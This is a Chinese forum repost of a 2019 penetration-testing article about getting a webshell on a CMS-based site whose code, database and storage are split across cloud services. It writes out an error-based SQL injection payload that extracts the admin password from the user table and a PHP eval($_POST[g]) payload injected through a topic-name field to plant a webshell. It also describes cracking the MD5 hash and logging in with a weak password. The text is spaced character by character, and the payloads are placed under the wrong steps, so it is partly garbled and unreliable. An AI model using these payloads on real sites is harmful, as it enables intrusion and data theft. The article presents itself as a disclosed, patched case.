搜索

[931] 2019-09-25_新的部署架构之下，如何拿shell？

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-16
2019-09-25_新的部署架构之下，如何拿shell？ 新 的 部 署 架 构 之 下 ， 如 何 拿 s h e l l ？ 原 创   B y p a s s   B y p a s s   2 0 1 9 - 0 9 - 2 5 和 朋 友 聊 起 一 个 话 题 ， 服 务 器 部 署 架 构 升 级 对 安 全 的 影 响 。 从 最 简 单 的 一 台 服 务 器 ， 到 应 用 、 数 据 库 、 文 件 服 务 器 分 离 ； 从 本 地 机 房 服 务 器 到 云 服 务 器 产 品 矩 阵 ； 从 虚 拟 化 到 容 器 化 部 署 ， 一 直 在 往 更 安 全 的 方 向 改 变 。 本 文 试 图 构 建 这 样 场 景 ， 源 码 放 在 E C S ， 数 据 库 放 R D S ， 非 结 构 化 数 据 存 储 放 H D F S 。 常 规 的 g e t s h e l l 手 段 ， 如 S Q L 注 入 写 入 文 件 ， 任 意 文 件 上 传 ， 文 件 包 含 等 似 乎 已 不 再 好 使 。 这 种 情 况 ， 如 何 突 破 系 统 的 部 署 架 构 ， 来 获 取 网 站 的 w e b s h e l l 呢 ？ 实 战 思 路 ： 黑 盒 渗 透 测 试 + 白 盒 代 码 审 计 在 进 行 信 息 收 集 的 时 候 ， 找 到 网 站 管 理 后 台 ， 查 看 登 录 界 面 网 页 源 代 码 ， 获 知 该 系 统 可 能 由 某 C M S 二 次 开 发 。 进 一 步 下 载 开 源 C M S 源 代 码 进 行 代 码 审 计 ， 从 前 台 s q l 注 入 到 后 台 g e t s h e l l 。 某 某 C M S 演 示 站 点 漏 洞 利 用 过 程 ： 演 示 站 点 漏 洞 利 用 过 程 ： 1 、 利 用 前 台 S Q L 注 入 漏 洞 ， 搜 索 处 填 入 P y l o a d ： 将 m d 5 值 ： 2 1 2 3 2 f 2 9 7 a 5 7 a 5 a 7 4 3 8 9 4 a 0 e 4 a 8 0 1 f c 3   解 密 为 a d m i n 使 用 弱 口 令 a d m i n / a d m i n 成 功 登 陆 后 台 。 2 、   登 陆 后 台 ， 在 H o m e 设 置 — 专 题 管 理 — 创 建 专 题 — 专 题 名 称 处 填 写 P a y l o a d ： t e s t 1 1 1 ' , e v a l ( $ _ P O S T [ g ] ) , / / 3 、 访 问 w e b s h e l l 地 址 ： k e y w o r d = 1 % '   o r   ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( ) , c o n c a t ( ( c o n c a t ( 0 x 5 e 5 e 2 1 , ( s e l e c t   c o n c a t ( 0 x 7 c , p a s s w o r d , 0 x 7 c )   f r o m   x x x x x _ u s e r   w h e r e   u i d = 1 ) , 0 x 2 1 5 e 5 e ) ) , f l o o r ( r a n d ( 0 ) 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s  
P S ： 本 文 所 引 用 案 例 ， 安 全 漏 洞 于 2 0 1 8 . 1 1 提 交 官 方 ， 目 前 已 修 复 。 技 术 架 构 上 的 升 级 ， 它 可 以 很 大 程 度 地 降 低 一 些 安 全 风 险 ， 黑 盒 渗 透 的 漏 洞 利 用 难 度 无 疑 会 增 大 。 目 前 ， 比 较 流 行 的 微 服 务 架 构 ， 会 有 越 来 越 多 的 系 统 使 用 场 景 ， 而 这 也 是 一 个 很 大 的 挑 战 ， 你 以 为 你 拿 到 了 整 个 系 统 的 权 限 ， 其 实 你 触 及 的 可 能 是 系 统 中 的 某 个 服 务 。 很 喜 欢 这 样 一 句 话 ， 简 短 有 启 发 ： 细 节 中 发 现 漏 洞 ， 架 构 上 解 决 问 题 ， 流 程 中 控 制 风 险 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理